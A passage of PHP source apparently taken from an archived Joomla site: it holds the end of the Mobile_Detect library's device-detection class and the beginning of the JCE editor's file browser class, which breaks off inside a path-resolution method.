        // start with HTTP_.
        foreach ($httpHeaders as $key => $value) {
            if (substr($key, 0, 5) === 'HTTP_') {
                $this->httpHeaders[$key] = $value;
            }
        }

        // In case we're dealing with CloudFront, we need to know.
        $this->setCfHeaders($httpHeaders);
    }

    /**
     * Retrieves the HTTP headers.
     *
     * @return array
     */
    public function getHttpHeaders()
    {
        return $this->httpHeaders;
    }

    /**
     * Retrieves a particular header. If it doesn't exist, no exception/error is caused.
     * Simply null is returned.
     *
     * @param string $header The name of the header to retrieve. Can be HTTP compliant such as
     *                       "User-Agent" or "X-Device-User-Agent" or can be php-esque with the
     *                       all-caps, HTTP_ prefixed, underscore seperated awesomeness.
     *
     * @return string|null The value of the header.
     */
    public function getHttpHeader($header)
    {
        // are we using PHP-flavored headers?
        if (strpos($header, '_') === false) {
            $header = str_replace('-', '_', $header);
            $header = strtoupper($header);
        }

        // test the alternate, too
        $altHeader = 'HTTP_' . $header;

        //Test both the regular and the HTTP_ prefix
        if (isset($this->httpHeaders[$header])) {
            return $this->httpHeaders[$header];
        } elseif (isset($this->httpHeaders[$altHeader])) {
            return $this->httpHeaders[$altHeader];
        }

        return null;
    }

    public function getMobileHeaders()
    {
        return self::$mobileHeaders;
    }

    /**
     * Get all possible HTTP headers that
     * can contain the User-Agent string.
     *
     * @return array List of HTTP headers.
     */
    public function getUaHttpHeaders()
    {
        return self::$uaHttpHeaders;
    }

    /**
     * Set CloudFront headers
     * http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/header-caching.html#header-caching-web-device
     *
     * @param array $cfHeaders List of HTTP headers
     *
     * @return  boolean If there were CloudFront headers to be set
     */
    public function setCfHeaders($cfHeaders = null)
    {
        // use global _SERVER if $cfHeaders aren't defined
        if (!is_array($cfHeaders) || !count($cfHeaders)) {
            $cfHeaders = $_SERVER;
        }

        // clear existing headers
        $this->cloudfrontHeaders = array();

        // Only save CLOUDFRONT headers. In PHP land, that means only _SERVER vars that
        // start with cloudfront-.
        $response = false;
        foreach ($cfHeaders as $key => $value) {
            if (substr(strtolower($key), 0, 16) === 'http_cloudfront_') {
                $this->cloudfrontHeaders[strtoupper($key)] = $value;
                $response = true;
            }
        }

        return $response;
    }

    /**
     * Retrieves the cloudfront headers.
     *
     * @return array
     */
    public function getCfHeaders()
    {
        return $this->cloudfrontHeaders;
    }

    /**
     * @param string $userAgent
     * @return string
     */
    private function prepareUserAgent($userAgent)
    {
        $userAgent = trim($userAgent);
        $userAgent = substr($userAgent, 0, 500);
        return $userAgent;
    }

    /**
     * Set the User-Agent to be used.
     *
     * @param string $userAgent The user agent string to set.
     *
     * @return string|null
     */
    public function setUserAgent($userAgent = null)
    {
        // Invalidate cache due to #375
        $this->cache = array();

        if (false === empty($userAgent)) {
            return $this->userAgent = $this->prepareUserAgent($userAgent);
        } else {
            $this->userAgent = null;
            foreach ($this->getUaHttpHeaders() as $altHeader) {
                if (false === empty($this->httpHeaders[$altHeader])) { // @todo: should use getHttpHeader(), but it would be slow. (Serban)
                    $this->userAgent .= $this->httpHeaders[$altHeader] . " ";
                }
            }

            if (!empty($this->userAgent)) {
                return $this->userAgent = $this->prepareUserAgent($this->userAgent);
            }
        }

        if (count($this->getCfHeaders()) > 0) {
            return $this->userAgent = 'Amazon CloudFront';
        }
        return $this->userAgent = null;
    }

    /**
     * Retrieve the User-Agent.
     *
     * @return string|null The user agent if it's set.
     */
    public function getUserAgent()
    {
        return $this->userAgent;
    }

    /**
     * Set the detection type. Must be one of self::DETECTION_TYPE_MOBILE or
     * self::DETECTION_TYPE_EXTENDED. Otherwise, nothing is set.
     *
     * @deprecated since version 2.6.9
     *
     * @param string $type The type. Must be a self::DETECTION_TYPE_* constant. The default
     *                     parameter is null which will default to self::DETECTION_TYPE_MOBILE.
     */
    public function setDetectionType($type = null)
    {
        if ($type === null) {
            $type = self::DETECTION_TYPE_MOBILE;
        }

        if ($type !== self::DETECTION_TYPE_MOBILE && $type !== self::DETECTION_TYPE_EXTENDED) {
            return;
        }

        $this->detectionType = $type;
    }

    public function getMatchingRegex()
    {
        return $this->matchingRegex;
    }

    public function getMatchesArray()
    {
        return $this->matchesArray;
    }

    /**
     * Retrieve the list of known phone devices.
     *
     * @return array List of phone devices.
     */
    public static function getPhoneDevices()
    {
        return self::$phoneDevices;
    }

    /**
     * Retrieve the list of known tablet devices.
     *
     * @return array List of tablet devices.
     */
    public static function getTabletDevices()
    {
        return self::$tabletDevices;
    }

    /**
     * Alias for getBrowsers() method.
     *
     * @return array List of user agents.
     */
    public static function getUserAgents()
    {
        return self::getBrowsers();
    }

    /**
     * Retrieve the list of known browsers. Specifically, the user agents.
     *
     * @return array List of browsers / user agents.
     */
    public static function getBrowsers()
    {
        return self::$browsers;
    }

    /**
     * Retrieve the list of known utilities.
     *
     * @return array List of utilities.
     */
    public static function getUtilities()
    {
        return self::$utilities;
    }

    /**
     * Method gets the mobile detection rules. This method is used for the magic methods $detect->is*().
     *
     * @deprecated since version 2.6.9
     *
     * @return array All the rules (but not extended).
     */
    public static function getMobileDetectionRules()
    {
        static $rules;

        if (!$rules) {
            $rules = array_merge(
                self::$phoneDevices,
                self::$tabletDevices,
                self::$operatingSystems,
                self::$browsers
            );
        }

        return $rules;

    }

    /**
     * Method gets the mobile detection rules + utilities.
     * The reason this is separate is because utilities rules
     * don't necessary imply mobile. This method is used inside
     * the new $detect->is('stuff') method.
     *
     * @deprecated since version 2.6.9
     *
     * @return array All the rules + extended.
     */
    public function getMobileDetectionRulesExtended()
    {
        static $rules;

        if (!$rules) {
            // Merge all rules together.
            $rules = array_merge(
                self::$phoneDevices,
                self::$tabletDevices,
                self::$operatingSystems,
                self::$browsers,
                self::$utilities
            );
        }

        return $rules;
    }

    /**
     * Retrieve the current set of rules.
     *
     * @deprecated since version 2.6.9
     *
     * @return array
     */
    public function getRules()
    {
        if ($this->detectionType == self::DETECTION_TYPE_EXTENDED) {
            return self::getMobileDetectionRulesExtended();
        } else {
            return self::getMobileDetectionRules();
        }
    }

    /**
     * Retrieve the list of mobile operating systems.
     *
     * @return array The list of mobile operating systems.
     */
    public static function getOperatingSystems()
    {
        return self::$operatingSystems;
    }

    /**
     * Check the HTTP headers for signs of mobile.
     * This is the fastest mobile check possible; it's used
     * inside isMobile() method.
     *
     * @return bool
     */
    public function checkHttpHeadersForMobile()
    {

        foreach ($this->getMobileHeaders() as $mobileHeader => $matchType) {
            if (isset($this->httpHeaders[$mobileHeader])) {
                if (is_array($matchType['matches'])) {
                    foreach ($matchType['matches'] as $_match) {
                        if (strpos($this->httpHeaders[$mobileHeader], $_match) !== false) {
                            return true;
                        }
                    }

                    return false;
                } else {
                    return true;
                }
            }
        }

        return false;

    }

    /**
     * Magic overloading method.
     *
     * @method boolean is[...]()
     * @param  string                 $name
     * @param  array                  $arguments
     * @return mixed
     * @throws BadMethodCallException when the method doesn't exist and doesn't start with 'is'
     */
    public function __call($name, $arguments)
    {
        // make sure the name starts with 'is', otherwise
        if (substr($name, 0, 2) !== 'is') {
            throw new BadMethodCallException("No such method exists: $name");
        }

        $this->setDetectionType(self::DETECTION_TYPE_MOBILE);

        $key = substr($name, 2);

        return $this->matchUAAgainstKey($key);
    }

    /**
     * Find a detection rule that matches the current User-agent.
     *
     * @param  null    $userAgent deprecated
     * @return boolean
     */
    protected function matchDetectionRulesAgainstUA($userAgent = null)
    {
        // Begin general search.
        foreach ($this->getRules() as $_regex) {
            if (empty($_regex)) {
                continue;
            }

            if ($this->match($_regex, $userAgent)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Search for a certain key in the rules array.
     * If the key is found then try to match the corresponding
     * regex against the User-Agent.
     *
     * @param string $key
     *
     * @return boolean
     */
    protected function matchUAAgainstKey($key)
    {
        // Make the keys lowercase so we can match: isIphone(), isiPhone(), isiphone(), etc.
        $key = strtolower($key);
        if (false === isset($this->cache[$key])) {

            // change the keys to lower case
            $_rules = array_change_key_case($this->getRules());

            if (false === empty($_rules[$key])) {
                $this->cache[$key] = $this->match($_rules[$key]);
            }

            if (false === isset($this->cache[$key])) {
                $this->cache[$key] = false;
            }
        }

        return $this->cache[$key];
    }

    /**
     * Check if the device is mobile.
     * Returns true if any type of mobile device detected, including special ones
     * @param  null $userAgent   deprecated
     * @param  null $httpHeaders deprecated
     * @return bool
     */
    public function isMobile($userAgent = null, $httpHeaders = null)
    {

        if ($httpHeaders) {
            $this->setHttpHeaders($httpHeaders);
        }

        if ($userAgent) {
            $this->setUserAgent($userAgent);
        }

        // Check specifically for cloudfront headers if the useragent === 'Amazon CloudFront'
        if ($this->getUserAgent() === 'Amazon CloudFront') {
            $cfHeaders = $this->getCfHeaders();
            if (array_key_exists('HTTP_CLOUDFRONT_IS_MOBILE_VIEWER', $cfHeaders) && $cfHeaders['HTTP_CLOUDFRONT_IS_MOBILE_VIEWER'] === 'true') {
                return true;
            }
        }

        $this->setDetectionType(self::DETECTION_TYPE_MOBILE);

        if ($this->checkHttpHeadersForMobile()) {
            return true;
        } else {
            return $this->matchDetectionRulesAgainstUA();
        }

    }

    /**
     * Check if the device is a tablet.
     * Return true if any type of tablet device is detected.
     *
     * @param  string $userAgent   deprecated
     * @param  array  $httpHeaders deprecated
     * @return bool
     */
    public function isTablet($userAgent = null, $httpHeaders = null)
    {
        // Check specifically for cloudfront headers if the useragent === 'Amazon CloudFront'
        if ($this->getUserAgent() === 'Amazon CloudFront') {
            $cfHeaders = $this->getCfHeaders();
            if (array_key_exists('HTTP_CLOUDFRONT_IS_TABLET_VIEWER', $cfHeaders) && $cfHeaders['HTTP_CLOUDFRONT_IS_TABLET_VIEWER'] === 'true') {
                return true;
            }
        }

        $this->setDetectionType(self::DETECTION_TYPE_MOBILE);

        foreach (self::$tabletDevices as $_regex) {
            if ($this->match($_regex, $userAgent)) {
                return true;
            }
        }

        return false;
    }

    /**
     * This method checks for a certain property in the
     * userAgent.
     * @todo: The httpHeaders part is not yet used.
     *
     * @param  string        $key
     * @param  string        $userAgent   deprecated
     * @param  string        $httpHeaders deprecated
     * @return bool|int|null
     */
    public function is($key, $userAgent = null, $httpHeaders = null)
    {
        // Set the UA and HTTP headers only if needed (eg. batch mode).
        if ($httpHeaders) {
            $this->setHttpHeaders($httpHeaders);
        }

        if ($userAgent) {
            $this->setUserAgent($userAgent);
        }

        $this->setDetectionType(self::DETECTION_TYPE_EXTENDED);

        return $this->matchUAAgainstKey($key);
    }

    /**
     * Some detection rules are relative (not standard),
     * because of the diversity of devices, vendors and
     * their conventions in representing the User-Agent or
     * the HTTP headers.
     *
     * This method will be used to check custom regexes against
     * the User-Agent string.
     *
     * @param $regex
     * @param  string $userAgent
     * @return bool
     *
     * @todo: search in the HTTP headers too.
     */
    public function match($regex, $userAgent = null)
    {
        $match = (bool) preg_match(sprintf('#%s#is', $regex), (false === empty($userAgent) ? $userAgent : $this->userAgent), $matches);
        // If positive match is found, store the results for debug.
        if ($match) {
            $this->matchingRegex = $regex;
            $this->matchesArray = $matches;
        }

        return $match;
    }

    /**
     * Get the properties array.
     *
     * @return array
     */
    public static function getProperties()
    {
        return self::$properties;
    }

    /**
     * Prepare the version number.
     *
     * @todo Remove the error supression from str_replace() call.
     *
     * @param string $ver The string version, like "2.6.21.2152";
     *
     * @return float
     */
    public function prepareVersionNo($ver)
    {
        $ver = str_replace(array('_', ' ', '/'), '.', $ver);
        $arrVer = explode('.', $ver, 2);

        if (isset($arrVer[1])) {
            $arrVer[1] = @str_replace('.', '', $arrVer[1]); // @todo: treat strings versions.
        }

        return (float) implode('.', $arrVer);
    }

    /**
     * Check the version of the given property in the User-Agent.
     * Will return a float number. (eg. 2_0 will return 2.0, 4.3.1 will return 4.31)
     *
     * @param string $propertyName The name of the property. See self::getProperties() array
     *                             keys for all possible properties.
     * @param string $type         Either self::VERSION_TYPE_STRING to get a string value or
     *                             self::VERSION_TYPE_FLOAT indicating a float value. This parameter
     *                             is optional and defaults to self::VERSION_TYPE_STRING. Passing an
     *                             invalid parameter will default to the this type as well.
     *
     * @return string|float The version of the property we are trying to extract.
     */
    public function version($propertyName, $type = self::VERSION_TYPE_STRING)
    {
        if (empty($propertyName)) {
            return false;
        }

        // set the $type to the default if we don't recognize the type
        if ($type !== self::VERSION_TYPE_STRING && $type !== self::VERSION_TYPE_FLOAT) {
            $type = self::VERSION_TYPE_STRING;
        }

        $properties = self::getProperties();

        // Check if the property exists in the properties array.
        if (true === isset($properties[$propertyName])) {

            // Prepare the pattern to be matched.
            // Make sure we always deal with an array (string is converted).
            $properties[$propertyName] = (array) $properties[$propertyName];

            foreach ($properties[$propertyName] as $propertyMatchString) {

                $propertyPattern = str_replace('[VER]', self::VER, $propertyMatchString);

                // Identify and extract the version.
                preg_match(sprintf('#%s#is', $propertyPattern), $this->userAgent, $match);

                if (false === empty($match[1])) {
                    $version = ($type == self::VERSION_TYPE_FLOAT ? $this->prepareVersionNo($match[1]) : $match[1]);

                    return $version;
                }

            }

        }

        return false;
    }

    /**
     * Retrieve the mobile grading, using self::MOBILE_GRADE_* constants.
     *
     * @return string One of the self::MOBILE_GRADE_* constants.
     */
    public function mobileGrade()
    {
        $isMobile = $this->isMobile();

        if (
            // Apple iOS 4-7.0 – Tested on the original iPad (4.3 / 5.0), iPad 2 (4.3 / 5.1 / 6.1), iPad 3 (5.1 / 6.0), iPad Mini (6.1), iPad Retina (7.0), iPhone 3GS (4.3), iPhone 4 (4.3 / 5.1), iPhone 4S (5.1 / 6.0), iPhone 5 (6.0), and iPhone 5S (7.0)
            $this->is('iOS') && $this->version('iPad', self::VERSION_TYPE_FLOAT) >= 4.3 ||
            $this->is('iOS') && $this->version('iPhone', self::VERSION_TYPE_FLOAT) >= 4.3 ||
            $this->is('iOS') && $this->version('iPod', self::VERSION_TYPE_FLOAT) >= 4.3 ||

            // Android 2.1-2.3 - Tested on the HTC Incredible (2.2), original Droid (2.2), HTC Aria (2.1), Google Nexus S (2.3). Functional on 1.5 & 1.6 but performance may be sluggish, tested on Google G1 (1.5)
            // Android 3.1 (Honeycomb)  - Tested on the Samsung Galaxy Tab 10.1 and Motorola XOOM
            // Android 4.0 (ICS)  - Tested on a Galaxy Nexus. Note: transition performance can be poor on upgraded devices
            // Android 4.1 (Jelly Bean)  - Tested on a Galaxy Nexus and Galaxy 7
            ($this->version('Android', self::VERSION_TYPE_FLOAT) > 2.1 && $this->is('Webkit')) ||

            // Windows Phone 7.5-8 - Tested on the HTC Surround (7.5), HTC Trophy (7.5), LG-E900 (7.5), Nokia 800 (7.8), HTC Mazaa (7.8), Nokia Lumia 520 (8), Nokia Lumia 920 (8), HTC 8x (8)
            $this->version('Windows Phone OS', self::VERSION_TYPE_FLOAT) >= 7.5 ||

            // Tested on the Torch 9800 (6) and Style 9670 (6), BlackBerry® Torch 9810 (7), BlackBerry Z10 (10)
            $this->is('BlackBerry') && $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >= 6.0 ||
            // Blackberry Playbook (1.0-2.0) - Tested on PlayBook
            $this->match('Playbook.*Tablet') ||

            // Palm WebOS (1.4-3.0) - Tested on the Palm Pixi (1.4), Pre (1.4), Pre 2 (2.0), HP TouchPad (3.0)
            ($this->version('webOS', self::VERSION_TYPE_FLOAT) >= 1.4 && $this->match('Palm|Pre|Pixi')) ||
            // Palm WebOS 3.0  - Tested on HP TouchPad
            $this->match('hp.*TouchPad') ||

            // Firefox Mobile 18 - Tested on Android 2.3 and 4.1 devices
            ($this->is('Firefox') && $this->version('Firefox', self::VERSION_TYPE_FLOAT) >= 18) ||

            // Chrome for Android - Tested on Android 4.0, 4.1 device
            ($this->is('Chrome') && $this->is('AndroidOS') && $this->version('Android', self::VERSION_TYPE_FLOAT) >= 4.0) ||

            // Skyfire 4.1 - Tested on Android 2.3 device
            ($this->is('Skyfire') && $this->version('Skyfire', self::VERSION_TYPE_FLOAT) >= 4.1 && $this->is('AndroidOS') && $this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3) ||

            // Opera Mobile 11.5-12: Tested on Android 2.3
            ($this->is('Opera') && $this->version('Opera Mobi', self::VERSION_TYPE_FLOAT) >= 11.5 && $this->is('AndroidOS')) ||

            // Meego 1.2 - Tested on Nokia 950 and N9
            $this->is('MeeGoOS') ||

            // Tizen (pre-release) - Tested on early hardware
            $this->is('Tizen') ||

            // Samsung Bada 2.0 - Tested on a Samsung Wave 3, Dolphin browser
            // @todo: more tests here!
            $this->is('Dolfin') && $this->version('Bada', self::VERSION_TYPE_FLOAT) >= 2.0 ||

            // UC Browser - Tested on Android 2.3 device
            (($this->is('UC Browser') || $this->is('Dolfin')) && $this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3) ||

            // Kindle 3 and Fire  - Tested on the built-in WebKit browser for each
            ($this->match('Kindle Fire') ||
                $this->is('Kindle') && $this->version('Kindle', self::VERSION_TYPE_FLOAT) >= 3.0) ||

            // Nook Color 1.4.1 - Tested on original Nook Color, not Nook Tablet
            $this->is('AndroidOS') && $this->is('NookTablet') ||

            // Chrome Desktop 16-24 - Tested on OS X 10.7 and Windows 7
            $this->version('Chrome', self::VERSION_TYPE_FLOAT) >= 16 && !$isMobile ||

            // Safari Desktop 5-6 - Tested on OS X 10.7 and Windows 7
            $this->version('Safari', self::VERSION_TYPE_FLOAT) >= 5.0 && !$isMobile ||

            // Firefox Desktop 10-18 - Tested on OS X 10.7 and Windows 7
            $this->version('Firefox', self::VERSION_TYPE_FLOAT) >= 10.0 && !$isMobile ||

            // Internet Explorer 7-9 - Tested on Windows XP, Vista and 7
            $this->version('IE', self::VERSION_TYPE_FLOAT) >= 7.0 && !$isMobile ||

            // Opera Desktop 10-12 - Tested on OS X 10.7 and Windows 7
            $this->version('Opera', self::VERSION_TYPE_FLOAT) >= 10 && !$isMobile
        ) {
            return self::MOBILE_GRADE_A;
        }

        if (
            $this->is('iOS') && $this->version('iPad', self::VERSION_TYPE_FLOAT) < 4.3 ||
            $this->is('iOS') && $this->version('iPhone', self::VERSION_TYPE_FLOAT) < 4.3 ||
            $this->is('iOS') && $this->version('iPod', self::VERSION_TYPE_FLOAT) < 4.3 ||

            // Blackberry 5.0: Tested on the Storm 2 9550, Bold 9770
            $this->is('Blackberry') && $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >= 5 && $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) < 6 ||

            //Opera Mini (5.0-6.5) - Tested on iOS 3.2/4.3 and Android 2.3
            ($this->version('Opera Mini', self::VERSION_TYPE_FLOAT) >= 5.0 && $this->version('Opera Mini', self::VERSION_TYPE_FLOAT) <= 7.0 &&
                ($this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3 || $this->is('iOS'))) ||

            // Nokia Symbian^3 - Tested on Nokia N8 (Symbian^3), C7 (Symbian^3), also works on N97 (Symbian^1)
            $this->match('NokiaN8|NokiaC7|N97.*Series60|Symbian/3') ||

            // @todo: report this (tested on Nokia N71)
            $this->version('Opera Mobi', self::VERSION_TYPE_FLOAT) >= 11 && $this->is('SymbianOS')
        ) {
            return self::MOBILE_GRADE_B;
        }

        if (
            // Blackberry 4.x - Tested on the Curve 8330
            $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) <= 5.0 ||
            // Windows Mobile - Tested on the HTC Leo (WinMo 5.2)
            $this->match('MSIEMobile|Windows CE.*Mobile') || $this->version('Windows Mobile', self::VERSION_TYPE_FLOAT) <= 5.2 ||

            // Tested on original iPhone (3.1), iPhone 3 (3.2)
            $this->is('iOS') && $this->version('iPad', self::VERSION_TYPE_FLOAT) <= 3.2 ||
            $this->is('iOS') && $this->version('iPhone', self::VERSION_TYPE_FLOAT) <= 3.2 ||
            $this->is('iOS') && $this->version('iPod', self::VERSION_TYPE_FLOAT) <= 3.2 ||

            // Internet Explorer 7 and older - Tested on Windows XP
            $this->version('IE', self::VERSION_TYPE_FLOAT) <= 7.0 && !$isMobile
        ) {
            return self::MOBILE_GRADE_C;
        }

        // All older smartphone platforms and featurephones - Any device that doesn't support media queries
        // will receive the basic, C grade experience.
        return self::MOBILE_GRADE_C;
    }
}
com_jce/editor/libraries/classes/browser.php000060400000243043152453734450015254 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Path;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Table\Table;
use Joomla\CMS\User\UserHelper;

class WFFileBrowser extends CMSObject
{
    /* @var array */
    private $_buttons = array();

    /* @var array */
    private $_actions = array();

    /* @var array */
    private $_events = array();

    /* @var array */
    private $_result = array('error' => array(), 'files' => array(), 'folders' => array());

    /* @var array */
    public $dir = array();

    /* @var WFFileSystem */
    public $filesystem = null;

    /* @var string */
    public $filetypes = 'jpg,jpeg,png,gif,webp';

    /* @var array */
    public $upload = array(
        'max_size' => 1024,
        'validate_mimetype' => 1,
        'add_random' => 0,
        'total_files' => 0,
        'total_size' => 0,
        'remove_exif' => 0,
    );

    /* @var int */
    public $folder_tree = 1;

    /* @var string */
    public $list_limit = 'all';

    /* @var array */
    public $features = array(
        'help' => 1,
        'upload' => 1,
        'folder' => array(
            'create' => 1,
            'delete' => 1,
            'rename' => 1,
            'move' => 1,
        ),
        'file' => array(
            'rename' => 1,
            'delete' => 1,
            'move' => 1,
        ),
    );
    /* @var string */
    public $date_format = '%d/%m/%Y, %H:%M';

    /* @var string */
    public $websafe_mode = 'utf-8';

    /* @var int */
    public $websafe_spaces = 0;

    /* @var string */
    public $websafe_textcase = '';

    public function __construct($config = array())
    {
        // set file browser config
        $this->setConfig($config);

        // add actions
        $this->addDefaultActions();
        // add buttons
        $this->addDefaultButtons();

        // Setup XHR callback funtions
        $this->setRequest(array($this, 'getItems'));
        $this->setRequest(array($this, 'getFileDetails'));
        $this->setRequest(array($this, 'getFolderDetails'));
        $this->setRequest(array($this, 'getTree'));
        $this->setRequest(array($this, 'getTreeItem'));

        $this->setRequest(array($this, 'searchItems'));

        $this->setRequest(array($this, 'upload'));
    }

    protected function getProfile()
    {
        return WFApplication::getInstance()->getActiveProfile();
    }

    /**
     * Display the browser.
     */
    public function display()
    {
        $filesystem = $this->getFileSystem();
        $buttons    = $filesystem->get('buttons', []);

        if (!empty($buttons)) {
            foreach ($buttons as $type => $items) {
                foreach ($items as $name => $options) {
                    $this->addButton($type, $name, $options);
                }
            }
        }

        $this->setProperties(array(
            'actions' => $this->getActions(),
            'buttons' => $this->getButtons(),
        ));

        // Get the Document instance
        $document = WFDocument::getInstance();

        $document->addScript(array('filebrowser.min'), 'media');
        $document->addStyleSheet(array('filebrowser.min'), 'media');
    }

    /**
     * Render the browser view.
     */
    public function render()
    {
        $session = Factory::getSession();

        $view = new WFView(array(
            'name' => 'filebrowser',
            'layout' => 'default',
        ));

        // assign session data
        $view->session = $session;

        // assign form action
        $view->action = $this->getFormAction();

        $view->list_limit_options = $this->get('list_limit_options', array());
        $view->list_limit = $this->get('list_limit', 25);

        // return view output
        $view->display();
    }

    /**
     * Set a WFRequest item.
     *
     * @param array $request
     */
    public function setRequest($request)
    {
        $xhr = WFRequest::getInstance();
        $xhr->setRequest($request);
    }

    /**
     * Upload form action url.
     *
     * @return string URL
     *
     * @since    1.5
     */
    protected function getFormAction()
    {
        $wf = WFEditorPlugin::getInstance();

        $context = Factory::getApplication()->input->getInt('context');

        $query = '';

        $args = array(
            'plugin' => $wf->getName(),
            'context' => $context,
        );

        foreach ($args as $k => $v) {
            $query .= '&' . $k . '=' . $v;
        }

        return Uri::base(true) . '/index.php?option=com_jce&task=plugin.rpc' . $query;
    }

    public function getFileSystem()
    {
        return $this->filesystem; // filesystem is now passed in from the "manager" class
    }

    private function getViewable()
    {
        return 'jpeg,jpg,gif,png,webp,apng,svg,avi,wmv,wm,asf,asx,wmx,wvx,mov,qt,mpg,mp3,mp4,m4v,mpeg,ogg,ogv,webm,swf,flv,f4v,xml,dcr,rm,ra,ram,divx,html,htm,txt,rtf,pdf,doc,docx,xls,xlsx,ppt,pptx';
    }

    /**
     * Return a list of allowed file extensions in a specific format.
     *
     * @param string $format The desired format of the output ('map', 'array', 'list', 'json').
     * @param string $list Optional string of file types to use instead of the default.
     * @return mixed Formatted extension list.
     */
    public function getFileTypes($format = 'map', $list = '')
    {
        // If $list is empty, use the default filetypes from the object's property
        if (empty($list)) {
            $list = $this->get('filetypes');
        }

        return WFUtility::formatFileTypesList($format, $list);
    }


    /**
     * Converts the extensions map to a list.
     *
     * @param string $list The extensions map eg: images=jpg,jpeg,gif,png
     *
     * @return string jpg,jpeg,gif,png
     */
    private function listFileTypes($list = '')
    {
        return $this->getFileTypes('list', $list);
    }

    /**
     * Set filetypes and update upload properties
     */
    public function setFileTypes($list = 'jpg,jpeg,png,gif')
    {
        if ($list && $list[0] === '=') {
            $list = substr($list, 1);
        }

        // get existing upload values
        $upload = $this->get('upload', array());

        // set updated filetypes
        $upload['filetypes'] = $list;

        // update filetypes
        $this->setProperties(array(
            'upload' => $upload,
        ));

        $this->set('filetypes', $list);
    }

    /**
     * Returns the result variable.
     *
     * @return var $_result
     */
    public function getResult()
    {
        return $this->_result;
    }

    public function setResult($value, $key = null)
    {
        if ($key) {
            $this->_result[$key][] = $value;
        } else {
            $this->_result = $value;
        }
    }

    public function checkFeature($action, $type = null)
    {
        $features = $this->get('features');

        if ($type) {
            if (isset($features[$type])) {
                $type = $features[$type];

                if (isset($type[$action])) {
                    return (bool) $type[$action];
                }
            }
        } else {
            if (isset($features[$action])) {
                return (bool) $features[$action];
            }
        }

        return false;
    }

    /**
     * Get the source directory of a file path.
     */
    public function getSourceDir($path)
    {
        $path = $this->get('source', $path);

        if (empty($path)) {
            return '';
        }

        // return nothing if absolute $path
        if (preg_match('#^(file|http(s)?):\/\/#', $path)) {
            return '';
        }

        $filesystem = $this->getFileSystem();

        $path = $this->extractPath($path);

        // directory path relative base directory, eg: images/2025
        if ($filesystem->is_dir($path)) {
            return $path;
        }

        // file url relative to site root
        if ($filesystem->is_file($path)) {
            return dirname($path);
        }

        return '';
    }

    /**
     * Determine whether a path is in complex "id:relative" form.
     *
     * A complex path begins with a 32-character hexadecimal MD5 prefix,
     * followed by a colon, and an optional relative path.
     *
     * @param   string  $path  The path string to test.
     *
     * @return  bool  True if the path has a valid MD5 prefix, false otherwise.
     */
    private function isComplexPath($path)
    {
        // Fast fail: no colon at all
        $pos = strpos($path, ':');

        // No colon found, so not a complex path
        if ($pos === false) {
            return false;
        }

        // Ignore protocols like "http://", "ftp://", "file://"
        if (strpos($path, '://') !== false) {
            return false;
        }

        // Candidate prefix before the colon
        $candidate = substr($path, 0, $pos);

        // Must be exactly 32 hex characters (MD5 hex)
        if (strlen($candidate) !== 32 || !ctype_xdigit($candidate)) {
            return false;
        }

        return true;
    }

    /**
     * Split a complex path "id:relative" into prefix and relative components.
     *
     * Returns true if split occurred, false otherwise. When false, $id will be empty
     * and $relative will contain the original $path value.
     *
     * Examples:
     *   abcdef...1234:images/foo.jpg → $id="abcdef...1234", $relative="images/foo.jpg"
     *   abcdef...1234:               → $id="abcdef...1234", $relative=""
     *   images/foo.jpg               → no split (false)
     *
     * @param   string  $path       The full path to parse.
     * @param   string  &$id        Output parameter for the 32-character prefix.
     * @param   string  &$relative  Output parameter for the relative path.
     *
     * @return  bool  True if the path was successfully split, false otherwise.
     */
    private function splitComplexPath($path, &$id, &$relative)
    {
        $id         = '';
        $relative   = $path;

        if (!$this->isComplexPath($path)) {
            // Not a complex path, so return false
            return false;
        }

        $pos = strpos($path, ':');

        // Candidate prefix before the colon
        $candidate = substr($path, 0, $pos);

        $id = strtolower($candidate);
        $relative = substr($path, $pos + 1);

        return true;
    }

    /**
     * Extract the simple relative path from a possibly complex "id:relative" value.
     * Returns the portion after the colon, or the original path if not complex.
     *
     * @param   string  $path  The path value to process.
     *
     * @return  string  The extracted relative path, or the original value.
     */
    private function extractPath($path)
    {
        if ($this->splitComplexPath($path, $id, $relative)) {
            return $relative;
        }

        return $path;
    }

    /**
     * Parse a path value to extract its prefix.
     *
     * Updates the input $path by reference to remove the prefix,
     * leaving only the relative portion (or empty string for root).
     *
     * @param   string  &$path  The path value to modify.
     *
     * @return  string  The extracted prefix, or an empty string if not complex.
     */
    private function parsePath(&$path)
    {
        $id = '';

        if ($this->splitComplexPath($path, $id, $relative)) {
            $path = $relative;
            return $id;
        }

        return '';
    }

    /**
     * Get the prefix from a complex path without modifying it.
     *
     * @param   string  $path  The path value to parse.
     *
     * @return  string  The prefix if complex, or an empty string otherwise.
     */
    private function getPathPrefix($path)
    {
        if ($this->splitComplexPath($path, $id, $relative)) {
            return $id;
        }

        return '';
    }

    /**
     * Resolve a path into its absolute filesystem location.
     *
     * If the path is in "id:relative" form, it resolves the prefix to its
     * corresponding directory store root and appends the relative portion.
     * If the path is simple, it is returned unchanged.
     *
     * Examples:
     *   abcdef...1234:foo/bar → images/foo/bar
     *   abcdef...1234:        → images
     *   foo/bar               → foo/bar (no change)
     *
     * @param   string  $path  The path to resolve.
     *
     * @return  string  The resolved absolute path or the input if simple.
     */
    public function resolvePath($path)
    {
        if (empty($path)) {
            return '';
        }

        // check for complex path
        if ($this->isComplexPath($path) === false) {
            // no prefix so return the path as is
            return $path;
        }

        // get the store array from the complex source path, eg: prefix:path
        $store = $this->getDirectoryStoreFromPath($path);

